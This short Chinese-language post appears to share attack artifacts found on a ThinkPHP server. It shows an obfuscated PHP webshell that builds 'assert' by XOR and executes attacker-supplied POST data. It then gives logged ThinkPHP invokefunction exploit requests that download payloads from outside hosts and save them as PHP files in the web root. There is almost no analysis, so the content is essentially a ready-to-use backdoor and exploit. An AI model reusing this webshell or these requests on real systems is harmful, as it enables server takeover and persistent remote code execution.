fot thinkphp 后的学习代码

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<?php
class MLZZ{
    function __destruct(){
        $GVJR='QJ003B'^"\x30\x39\x43\x55\x41\x36";
        return @$GVJR("$this->ADZL");
    }
}
$mlzz=new MLZZ();
@$mlzz->ADZL=isset($_GET['id'])?base64_decode($_POST['ww123123']):$_POST['ww123123'];


大神留下的代码

GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://acedgwf.cn/01/js.css&vars%5B1%5D%5B%5D=public/indexcopy.php
[ error ] [0]variable type error: boolean
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[ 2020-06-08T14:01:05+08:00 ] 172.30.0.16 124.113.250.45 GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://imcaccess.applinzi.com/.css&vars%5B1%5D%5B%5D=public/indexcopy.php
[ error ] [2]copy(http://imcaccess.applinzi.com/.css): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found

---------------------------------------------------------------
[ 2020-06-08T14:14:10+08:00 ] 172.30.0.16 60.169.197.66 GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://imcaccess.applinzi.com/01/js.css&vars%5B1%5D%5B%5D=public/indexcopy.php
[ error ] [0]variable type error: boolean
---------------------------------------------------------------
[ 2020-06-08T18:05:19+08:00 ] 172.30.0.16 114.104.103.230 GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://4d6.net/dama.txt&vars%5B1%5D%5B%5D=ts.php
[ error ] [0]variable type error: boolean
---------------------------------------------------------------
[ 2020-06-08T18:34:41+08:00 ] 172.30.0.16 124.113.251.209 GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://4d6.net/dama.txt&vars%5B1%5D%5B%5D=ts.php
[ error ] [0]variable type error: boolean